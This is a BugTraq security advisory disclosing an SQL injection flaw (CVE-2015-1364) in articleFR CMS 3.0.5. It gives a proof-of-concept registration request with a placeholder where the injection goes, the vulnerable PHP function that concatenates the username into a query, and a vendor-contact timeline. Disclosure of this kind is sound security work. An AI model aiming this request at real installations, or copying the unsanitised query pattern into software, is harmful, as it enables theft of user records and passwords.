BugTraq
articleFR CMS 3.0.5 - SQL injection vulnerability Feb 03 2015 03:11AM
Tien Tran Dinh (tien d tran itas vn)
#Vulnerability title: articleFR CMS 3.0.5 - SQL injection vulnerability
#Product: articleFR
#Vendor: http://freereprintables.com
#Affected version: version 3.0.5
#Download link: https://github.com/articlefr/articleFR
#Fixed version: N/A
#CVE ID: CVE-2015-1364
#Author: Tran Dinh Tien (tien.d.tran (at) itas (dot) vn [email concealed]) & ITAS Team (www.itas.vn)

::PROOF OF CONCEPT::

+ REQUEST:
POST /articlefr/register/ HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101
Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target.org/articlefr/register/
Cookie: _ga=GA1.2.884814947.1419214773;
__unam=bd22dea-14a6fcadd31-42cba495-31; GEAR=local-5422433b500446ead50002d4;
PHPSESSID=8a9r8t1d5g9veogj6er9fvev63; _gat=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

username=[SQL INJECTION
HERE]&email=test2%40itas.vn&name=test&password=123123&submit=register

- Vulnerable file: articleFR/system/profile.functions.php
- Vulnerable parameter: username
- Query: SELECT id, username, name, password, email, website, blog, date,
isactive, activekey, membership FROM users WHERE username ='[Injection
HERE]'
- Vulnerable function:
function getProfile($_username, $_connection) {
$_q = "SELECT id, username, name, password, email, website, blog,
date, isactive, activekey, membership FROM users WHERE username = '" .
$_username . "'";
$_result = single_resulti($_q, $_connection);

$_retval['id'] = $_result['id'];
$_retval['name'] = $_result['name'];
$_retval['username'] = $_result['username'];
$_retval['password'] = $_result['password'];
$_retval['email'] = $_result['email'];
$_retval['website'] = $_result['website'];
$_retval['blog'] = $_result['blog'];
$_retval['date'] = $_result['date'];
$_retval['isactive'] = $_result['isactive'];
$_retval['activekey'] = $_result['activekey'];
$_retval['membership'] = $_result['membership'];

return $_retval;
}

::DISCLOSURE::
+ 12/09/2014: Contact to vendor - vendor did not reply
+ 12/11/2014: Contact to vendor - vendor did not reply
+ 12/22/2014: Contact to vendor - vendor replied
+ 12/23/2014: Send the detail vulnerability to vendor - vendor did not reply
+ 01/21/2015: Public information

::REFERENCE::
-
http://www.itas.vn/news/itas-team-found-out-a-sql-injection-vulnerabilit
y-in
-articlefr-cms-72.html
- https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1364

::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY
IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE
OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS
A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION
OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS,
AND AT THE USER'S OWN RISK.

-------------------
Sincerely,

Tien Tran Dinh (tien.d.tran (at) itas (dot) vn [email concealed])

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus